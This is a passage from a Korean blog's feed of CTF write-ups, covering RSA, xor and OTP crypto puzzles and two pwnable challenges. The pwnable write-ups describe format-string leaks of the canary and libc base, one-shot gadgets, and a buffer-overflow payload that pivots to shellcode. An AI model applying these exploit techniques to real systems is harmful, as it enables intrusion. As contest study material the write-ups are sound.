        y0, y1 &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; y1, y0 &lt;span class=&quot;op&quot;&gt;-&lt;/span&gt; q &lt;span class=&quot;op&quot;&gt;*&lt;/span&gt; y1
    &lt;span class=&quot;cf&quot;&gt;return&lt;/span&gt;  b, x0, y0

&lt;span class=&quot;kw&quot;&gt;def&lt;/span&gt; mulinv(b, n):
    g, x, _ &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; xgcd(b, n)
    &lt;span class=&quot;cf&quot;&gt;if&lt;/span&gt; g &lt;span class=&quot;op&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;1&lt;/span&gt;:
        &lt;span class=&quot;cf&quot;&gt;return&lt;/span&gt; x &lt;span class=&quot;op&quot;&gt;%&lt;/span&gt; n

kp &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;pow&lt;/span&gt;(&lt;span class=&quot;dv&quot;&gt;2&lt;/span&gt;, e&lt;span class=&quot;op&quot;&gt;*&lt;/span&gt;g, n) &lt;span class=&quot;op&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;pow&lt;/span&gt;(&lt;span class=&quot;dv&quot;&gt;2&lt;/span&gt;, &lt;span class=&quot;bn&quot;&gt;0xdeadbeef&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;1&lt;/span&gt;, n) &lt;span class=&quot;op&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;1&lt;/span&gt;
p, _, _ &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; xgcd(kp, n)
q &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; n &lt;span class=&quot;op&quot;&gt;/&lt;/span&gt; p

pi_n &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; (p&lt;span class=&quot;dv&quot;&gt;-1&lt;/span&gt;)&lt;span class=&quot;op&quot;&gt;*&lt;/span&gt;(q&lt;span class=&quot;dv&quot;&gt;-1&lt;/span&gt;)
d &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; mulinv(e, pi_n)

flag &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;pow&lt;/span&gt;(enc_flag, d, n)

&lt;span class=&quot;bu&quot;&gt;print&lt;/span&gt; re.sub(&lt;span class=&quot;st&quot;&gt;'(..)'&lt;/span&gt;, &lt;span class=&quot;kw&quot;&gt;lambda&lt;/span&gt; x: &lt;span class=&quot;bu&quot;&gt;chr&lt;/span&gt;(&lt;span class=&quot;bu&quot;&gt;int&lt;/span&gt;(x.group(&lt;span class=&quot;dv&quot;&gt;1&lt;/span&gt;), &lt;span class=&quot;dv&quot;&gt;16&lt;/span&gt;)), &lt;span class=&quot;bu&quot;&gt;hex&lt;/span&gt;(flag)[&lt;span class=&quot;dv&quot;&gt;2&lt;/span&gt;:])&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/RSAbaby/run.png&quot;&gt;

&lt;/div&gt;
&lt;p&gt;Flag : &lt;b&gt;Whatever you do, the Basics are the most important :-D&lt;/b&gt;&lt;/p&gt;</description>
      <category>writeups/Crypto</category>
      <category>Fermat</category>
      <category>RSA</category>
      <author>m4tta</author>
      <guid isPermaLink="true">https://m4tta.tistory.com/146</guid>
      <comments>https://m4tta.tistory.com/146#entry146comment</comments>
      <pubDate>Tue, 26 Nov 2019 20:20:53 +0900</pubDate>
    </item>
    <item>
      <title>Simple Logic</title>
      <link>https://m4tta.tistory.com/145</link>
      <description>&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Category&lt;/strong&gt;: Crypto&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source&lt;/strong&gt;: TokyoWesterns CTF 5th 2019&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Points&lt;/strong&gt;: 103&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Simple cipher is always strong.&lt;/p&gt;
&lt;p&gt;Download: &lt;a href=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/Simple_Logic/simple_logic.7z&quot;&gt;simple_logic.7z&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;write-up&quot;&gt;Write-up&lt;/h2&gt;
&lt;p&gt;압축을 풀어보면 encrypt.rb와 output 파일을 찾을 수 있다.&lt;/p&gt;
&lt;p&gt;output 파일에는 암호화된 flag와 plaintext, ciphertext 쌍 6개가 주어져 있다.&lt;/p&gt;
&lt;p&gt;ruby 코드도 살펴보자.&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot;&gt;&lt;pre class=&quot;sourceCode ruby&quot;&gt;&lt;code class=&quot;sourceCode ruby&quot;&gt;{% raw &lt;span class=&quot;ot&quot;&gt;%}&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;[생략]&lt;/span&gt;

&lt;span class=&quot;st&quot;&gt;ROUNDS = 765&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;BITS = 128&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;PAIRS = 6&lt;/span&gt;

&lt;span class=&quot;st&quot;&gt;def encrypt(msg, key)&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;    enc = msg&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;    mask = (1 &amp;lt;&amp;lt; BITS) - 1&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;    ROUNDS.times do&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;        enc = (enc + key) &amp;amp; mask&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;        enc = enc ^ key&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;    end&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;    enc&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;st&quot;&gt;[생략]&lt;/span&gt;

&lt;span class=&quot;st&quot;&gt;flag = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;key = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)&lt;/span&gt;

&lt;span class=&quot;st&quot;&gt;STDERR.puts &quot;The flag: TWCTF{%x&lt;/span&gt;&lt;span class=&quot;ot&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&quot; % flag&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;STDERR.puts &quot;&lt;/span&gt;&lt;span class=&quot;dt&quot;&gt;Key&lt;/span&gt;=&lt;span class=&quot;ot&quot;&gt;%x&quot;&lt;/span&gt;&lt;span class=&quot;st&quot;&gt; % key&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;STDOUT.puts&lt;/span&gt;&lt;span class=&quot;ot&quot;&gt; &quot;&lt;/span&gt;&lt;span class=&quot;dt&quot;&gt;Encrypted&lt;/span&gt; &lt;span class=&quot;st&quot;&gt;flag: &lt;/span&gt;%x&lt;span class=&quot;st&quot;&gt;&quot; % encrypt(flag, key)&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;fail unless decrypt(encrypt(flag, key), key) == flag # Decryption Check&lt;/span&gt;

&lt;span class=&quot;st&quot;&gt;PAIRS.times do |i|&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;    plain = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;    enc = encrypt(plain, key)&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;    STDOUT.puts &quot;&lt;/span&gt;&lt;span class=&quot;dt&quot;&gt;Pair&lt;/span&gt; &lt;span class=&quot;ot&quot;&gt;%&lt;/span&gt;d&lt;span class=&quot;ot&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;st&quot;&gt; plain=%x enc=%x&quot; % [-~i, plain, enc]&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;st&quot;&gt;{% endraw %}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;차사하게 flag와 Key는 빼고 줬나보다.&lt;/p&gt;
&lt;p&gt;암호화 루틴을 보면 간단히 덧셈과 xor을 반복하는 것을 알 수 있다. 덧셈 연산을 하면 하위 바이트의 연산 결과에 상위 바이트가 영향을 받을 수 있으므로 하위 바이트부터 한 바이트씩 역산해가면 key를 복구 할 수 있을 것 같다.&lt;/p&gt;
&lt;p&gt;주어진 샘플 암호문 중에서 하나를 골라 최하위 1 byte에 대해서 brute force를 시도하였더니 동일한 암호문을 만드는 key 값 여러 개를 찾을 수 있었다. 그래서 샘플을 하나가 아니라 6개를 준 것 같다.&lt;/p&gt;
&lt;p&gt;최하위 byte 부터 각 pair에 대해 가능한 key의 조합을 뽑아서 교집합을 만들었더니 key 값을 찾을 수 있었고, 이를 이용하여 flag를 알아내었다. (&lt;a href=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/Simple_Logic/ex.py&quot;&gt;코드&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;주어진 샘플값 모두를 만족시키는 key는 두 개를 찾을 수 있었는데, 이 중 어느 것을 사용하여도 동일한 flag를 얻을 수 있었다.&lt;/p&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/Simple_Logic/flag.png&quot;&gt;

&lt;/div&gt;
&lt;p&gt;Flag: &lt;strong&gt;TWCTF{ade4850ad48b8d21fa7dae86b842466d}&lt;/strong&gt;&lt;/p&gt;</description>
      <category>writeups/Crypto</category>
      <category>brute_force</category>
      <author>m4tta</author>
      <guid isPermaLink="true">https://m4tta.tistory.com/145</guid>
      <comments>https://m4tta.tistory.com/145#entry145comment</comments>
      <pubDate>Tue, 26 Nov 2019 20:16:20 +0900</pubDate>
    </item>
    <item>
      <title>real-baby-rsa</title>
      <link>https://m4tta.tistory.com/144</link>
      <description>&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Category&lt;/strong&gt;: Crypto&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source&lt;/strong&gt;: TokyoWesterns CTF 5th 2019&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Points&lt;/strong&gt;: 42&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Author&lt;/strong&gt;: Jisoon Park(js00n.park)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Download: &lt;a href=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/real-baby-rsa/real-baby-rsa.7z&quot;&gt;real-baby-rsa.7z&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;write-up&quot;&gt;Write-up&lt;/h2&gt;
&lt;p&gt;압축을 풀어보면 problem.py와 output 파일을 찾을 수 있다.&lt;/p&gt;
&lt;p&gt;먼저, python 코드를 살펴보자.&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot;&gt;&lt;pre class=&quot;sourceCode python&quot;&gt;&lt;code class=&quot;sourceCode python&quot;&gt;flag &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st&quot;&gt;&amp;#39;TWCTF&lt;/span&gt;&lt;span class=&quot;sc&quot;&gt;{CENSORED}&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;#39;&lt;/span&gt;

&lt;span class=&quot;co&quot;&gt;# Public Parameters&lt;/span&gt;
N &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091&lt;/span&gt;
e &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;65537&lt;/span&gt;

&lt;span class=&quot;co&quot;&gt;# Encrypt the flag!&lt;/span&gt;
&lt;span class=&quot;cf&quot;&gt;for&lt;/span&gt; char &lt;span class=&quot;kw&quot;&gt;in&lt;/span&gt; flag:
    &lt;span class=&quot;bu&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;bu&quot;&gt;pow&lt;/span&gt;(&lt;span class=&quot;bu&quot;&gt;ord&lt;/span&gt;(char), e, N))&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;꽤 큰 수로 보이는 N이 public modulus e와 함께 주어져 있고, RSA의 암호화 방식으로 flag를 암호화 하여 출력하는 간단한 코드이다.&lt;/p&gt;
&lt;p&gt;일단 기계적으로 N에 대한 factorization을 시도해 보았는데 쉽게 되지 않았다.&lt;/p&gt;
&lt;p&gt;그 와중에도 solving 수가 계속 올라가고 있어서, 코드를 다시 한번 자세히 보았더니, 암호화 구문에서 암호화를 flag 전체에 대해서 한번 하는게 아니라 각 글자마다 암호화를 하고 있었다 ㅡ_ㅡ;;&lt;/p&gt;
&lt;p&gt;printable한 각 문자에 대해서 암호화를 시도하여 (암호문, 문자)로 구성된 dictionary를 만들고 이를 이용하여 output의 각 line에 적혀있는 숫자를 하나의 문자로 대체하여 모았더니 flag를 획득할 수 있었다.&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot;&gt;&lt;pre class=&quot;sourceCode python&quot;&gt;&lt;code class=&quot;sourceCode python&quot;&gt;&lt;span class=&quot;im&quot;&gt;import&lt;/span&gt; string

N &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091&lt;/span&gt;
e &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;65537&lt;/span&gt;

d &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;dict&lt;/span&gt;()
&lt;span class=&quot;cf&quot;&gt;for&lt;/span&gt; c &lt;span class=&quot;kw&quot;&gt;in&lt;/span&gt; string.printable:
    d[&lt;span class=&quot;bu&quot;&gt;pow&lt;/span&gt;(&lt;span class=&quot;bu&quot;&gt;ord&lt;/span&gt;(c), e, N)] &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; c

flag_data &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;map&lt;/span&gt;(&lt;span class=&quot;kw&quot;&gt;lambda&lt;/span&gt; x: &lt;span class=&quot;bu&quot;&gt;int&lt;/span&gt;(x.strip()), &lt;span class=&quot;bu&quot;&gt;open&lt;/span&gt;(&lt;span class=&quot;st&quot;&gt;&amp;quot;output&amp;quot;&lt;/span&gt;).readlines())

r &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;cf&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;kw&quot;&gt;in&lt;/span&gt; flag_data:
    r &lt;span class=&quot;op&quot;&gt;+=&lt;/span&gt; d[i]

&lt;span class=&quot;bu&quot;&gt;print&lt;/span&gt; r&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/real-baby-rsa/flag.png&quot; /&gt;

&lt;/div&gt;
&lt;p&gt;Flag: &lt;strong&gt;TWCTF{padding_is_important}&lt;/strong&gt;&lt;/p&gt;</description>
      <category>writeups/Crypto</category>
      <category>brute_force</category>
      <category>RSA</category>
      <author>m4tta</author>
      <guid isPermaLink="true">https://m4tta.tistory.com/144</guid>
      <comments>https://m4tta.tistory.com/144#entry144comment</comments>
      <pubDate>Tue, 26 Nov 2019 20:16:19 +0900</pubDate>
    </item>
    <item>
      <title>OTP</title>
      <link>https://m4tta.tistory.com/143</link>
      <description>&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Category&lt;/strong&gt;: Crypto&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source&lt;/strong&gt;: HackCON CTF 2019&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Points&lt;/strong&gt;: 100&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Author&lt;/strong&gt;: Jisoon Park(js00n.park)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hackerman is so dank that he decided to play around with OTPs. he did the following: message1 ^ key = cipher1 message2 ^ key = cipher2&lt;/p&gt;
&lt;p&gt;He gives you cipher1 and cipher2 and challenges you to find the concatenation of messages 1 and 2. Are you dank enough to find this? Oh and also, 'meme' is so popular that hackerman used the word in both his messages. cipher1 is '05F17121418010c0b4' cipher2 is '&amp;gt;1f00140807Q0e' Both without quotes&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;write-up&quot;&gt;Write-up&lt;/h2&gt;
&lt;p&gt;cipher1과 cipher2가 각각 10자이니 flag는 20자이다.&lt;/p&gt;
&lt;p&gt;flag 형식이 &amp;quot;d4rk{&lt;strong&gt;flag_text&lt;/strong&gt;}c0de&amp;quot;라서 앞뒤로 5자씩 10자는 이미 알려져 있고,&lt;br /&gt;
plaintext 양쪽에 &lt;strong&gt;meme&lt;/strong&gt; 가 들어간다고 하니 &lt;strong&gt;meme&lt;/strong&gt; 가 두 번 들어가서 20자 중에 총 18자를 알 수 있다.&lt;/p&gt;
&lt;p&gt;그냥 나머지 두 글자를 brute force로 알아내도 될 것 같지만, 알려진 부분으로 xor하는 것이 더 빠를 것 같다.&lt;/p&gt;
&lt;p&gt;cipher1과 cipher2를 xor 하면, message1 ^ message2의 결과를 알아낼 수 있다. 여기에 &amp;quot;dark{}c0de&amp;quot;를 xor 하면 message1의 뒤 5자와 message2의 앞 5자를 알아낼 수 있다. (meme가 들어있는 것을 확인할 수 있다.)&lt;/p&gt;
&lt;p&gt;flag format과 얻어낸 메세지를 5글자씩 조합하면 flag를 알아낼 수 있다. (&lt;a href=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/OTP/ex.py&quot;&gt;코드&lt;/a&gt;)&lt;/p&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/OTP/flag.png&quot; /&gt;

&lt;/div&gt;
&lt;p&gt;Flag : **d4rk{meme__meme}c0de**&lt;/p&gt;</description>
      <category>writeups/Crypto</category>
      <category>xor_masking</category>
      <author>m4tta</author>
      <guid isPermaLink="true">https://m4tta.tistory.com/143</guid>
      <comments>https://m4tta.tistory.com/143#entry143comment</comments>
      <pubDate>Tue, 26 Nov 2019 20:16:19 +0900</pubDate>
    </item>
    <item>
      <title>Not So Easy B0f</title>
      <link>https://m4tta.tistory.com/142</link>
      <description>&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Category&lt;/strong&gt;: Pwnable&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source&lt;/strong&gt;: HackCON CTF 2019&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Points&lt;/strong&gt;: 469&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Author&lt;/strong&gt;: Jisoon Park(js00n.park)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I have stack canaries enabled, Can you still B0f me ? Service : nc 68.183.158.95 8991&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Download: &lt;a href=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/Not_So_Easy_B0f/q3&quot;&gt;q3&lt;/a&gt; &lt;a href=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/Not_So_Easy_B0f/libc.so.6&quot;&gt;libc.so.6&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;write-up&quot;&gt;Write-up&lt;/h2&gt;
&lt;p&gt;주어진 파일을 IDA로 디컴파일 해보자.&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot;&gt;&lt;pre class=&quot;sourceCode c&quot;&gt;&lt;code class=&quot;sourceCode c&quot;&gt;&lt;span class=&quot;dt&quot;&gt;int&lt;/span&gt; __cdecl main(&lt;span class=&quot;dt&quot;&gt;int&lt;/span&gt; argc, &lt;span class=&quot;dt&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;dt&quot;&gt;char&lt;/span&gt; **argv, &lt;span class=&quot;dt&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;dt&quot;&gt;char&lt;/span&gt; **envp)
{
  FILE *stream; &lt;span class=&quot;co&quot;&gt;// ST08_8&lt;/span&gt;
  &lt;span class=&quot;dt&quot;&gt;char&lt;/span&gt; s[&lt;span class=&quot;dv&quot;&gt;8&lt;/span&gt;]; &lt;span class=&quot;co&quot;&gt;// [rsp+10h] [rbp-20h]&lt;/span&gt;
  __int64 v6; &lt;span class=&quot;co&quot;&gt;// [rsp+18h] [rbp-18h]&lt;/span&gt;
  &lt;span class=&quot;dt&quot;&gt;unsigned&lt;/span&gt; __int64 v7; &lt;span class=&quot;co&quot;&gt;// [rsp+28h] [rbp-8h]&lt;/span&gt;

  v7 = __readfsqword(0x28u);
  *(_QWORD *)s = 0LL;
  v6 = 0LL;
  stream = (FILE *)_bss_start;
  printf(&lt;span class=&quot;st&quot;&gt;&amp;quot;Enter name : &amp;quot;&lt;/span&gt;, argv, envp);
  fgets(s, &lt;span class=&quot;dv&quot;&gt;16&lt;/span&gt;, stream);
  puts(&lt;span class=&quot;st&quot;&gt;&amp;quot;Hello&amp;quot;&lt;/span&gt;);
  printf(s, 16LL);
  printf(&lt;span class=&quot;st&quot;&gt;&amp;quot;Enter sentence : &amp;quot;&lt;/span&gt;);
  fgets(s, &lt;span class=&quot;dv&quot;&gt;256&lt;/span&gt;, stream);
  &lt;span class=&quot;cf&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;0&lt;/span&gt;;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;fgets()를 이용해서 두 번의 입력을 줄 수 있는데, 첫 번째 fgets()를 사용하면 fsb 공격이 가능하고, 두 번째 fgets()에서는 bof 공격이 가능하다.&lt;/p&gt;
&lt;p&gt;libc를 줬으니 ROP 또는 Oneshot-gadget을 이용하면 될 것 같은데, 이를 위해서는 libc_base 주소를 알아내야 한다.&lt;/p&gt;
&lt;p&gt;추가로, cananry가 적용되어 있으니 canary의 값도 겸사겸사 알아내 보자.&lt;/p&gt;
&lt;p&gt;첫 번째 입력으로 &lt;strong&gt;%11&lt;span class=&quot;math inline&quot;&gt;&lt;em&gt;l&lt;/em&gt;&lt;em&gt;x&lt;/em&gt;:&lt;/span&gt;lx&lt;/strong&gt; 을 던져주면 canary와 main 함수의 return address를 알아낼 수 있다.&lt;/p&gt;
&lt;p&gt;main 함수는 libc.so의 __libc_start_main에 있는 main 함수 호출 주소 다음으로 복귀하도록 되어 있으니 이를 이용하여 libc_base의 주소를 계산해낼 수 있다.&lt;/p&gt;
&lt;p&gt;주어진 libc.so를 분석해보면 main 함수가 0x20830 offset으로 리턴될 것을 알 수 있고, oneshot gadget은 0x45216 offset에 있는 것도 알아낼 수 있다.&lt;/p&gt;
&lt;p&gt;oneshot gadget을 이용하기 위한 재료들이 다 갖추어 졌으니 실제 libc 주소를 알아내서 bof 공격을 시도하면 shell을 얻을 수 있다. (&lt;a href=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/Not_So_Easy_B0f/ex.py&quot;&gt;코드&lt;/a&gt;)&lt;/p&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/Not_So_Easy_B0f/flag.png&quot; /&gt;

&lt;/div&gt;
&lt;p&gt;Flag : &lt;strong&gt;d4rk{H3ll0_R0p}c0de&lt;/strong&gt;&lt;/p&gt;</description>
      <category>writeups/Pwnable</category>
      <category>BOF</category>
      <category>FSB</category>
      <author>m4tta</author>
      <guid isPermaLink="true">https://m4tta.tistory.com/142</guid>
      <comments>https://m4tta.tistory.com/142#entry142comment</comments>
      <pubDate>Tue, 26 Nov 2019 20:16:19 +0900</pubDate>
    </item>
    <item>
      <title>nothing more to say</title>
      <link>https://m4tta.tistory.com/141</link>
      <description>&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Category&lt;/strong&gt;: Pwnable&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source&lt;/strong&gt;: TokyoWesterns CTF 5th 2019&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Points&lt;/strong&gt;: 82&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Author&lt;/strong&gt;: Jisoon Park(js00n.park)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Japan is fucking hot.&lt;/p&gt;
&lt;p&gt;nc nothing.chal.ctf.westerns.tokyo 10001&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/nothing_more_to_say/warmup.c&quot;&gt;warmup.c&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/nothing_more_to_say/warmup&quot;&gt;warmup&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;write-up&quot;&gt;Write-up&lt;/h2&gt;
&lt;p&gt;바이너리와 더불어 친절하게 소스코드 주어지는데, canary/NX/PIE가 모두 걸려있지 않다고 하며 ROP와 x64 shellcode를 이용해서 문제를 풀 수 있다고 안내까지 해준다.&lt;/p&gt;
&lt;p&gt;문제를 보면 0x100 바이트 크기의 buf에 gets()를 이용해서 무한한 길이의 bof를 가능하게 해주었고, printf()를 이용해서 &lt;del&gt;무쓸모지만&lt;/del&gt; fsb도 할 수 있는 여지를 주었다.&lt;/p&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/nothing_more_to_say/maps.png&quot; /&gt;

&lt;/div&gt;
&lt;p&gt;메모리맵을 살펴보면 0x601000 번지와 stack 영역이 rwxp로 지정되어 있는 것을 확인할 수 있다. 둘 중 아무 곳에 shellcode를 넣은 후 이쪽으로 jump 시키면 될 것 같다.&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot;&gt;&lt;pre class=&quot;sourceCode python&quot;&gt;&lt;code class=&quot;sourceCode python&quot;&gt;r.recvuntil(&lt;span class=&quot;st&quot;&gt;&amp;quot;:)&lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;&lt;/span&gt;)

payload &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st&quot;&gt;&amp;quot;A&amp;quot;&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;bn&quot;&gt;0x100&lt;/span&gt;
payload &lt;span class=&quot;op&quot;&gt;+=&lt;/span&gt; p64(&lt;span class=&quot;bn&quot;&gt;0x601a00&lt;/span&gt;)
payload &lt;span class=&quot;op&quot;&gt;+=&lt;/span&gt; p64(&lt;span class=&quot;bn&quot;&gt;0x4006db&lt;/span&gt;)

r.sendline(payload)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이왕이면 딱 주소값이 고정되어 있는 곳을 이용해보자. rbp를 rwx 영역 중 적당한 곳으로 옮긴 후 main 함수의 proglouge 다음 부분으로 복귀하면 gets() 함수를 이용해 rbp를 기준으로 shell code를 원하는 주소에 적을 수 있다.&lt;/p&gt;
&lt;p&gt;두번째 실행에서 shell code를 적어놓은 주소로 return 하도록 하면 shell code가 실행되어 shell을 얻을 수 있다. (&lt;a href=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/nothing_more_to_say/ex.py&quot;&gt;코드&lt;/a&gt;)&lt;/p&gt;
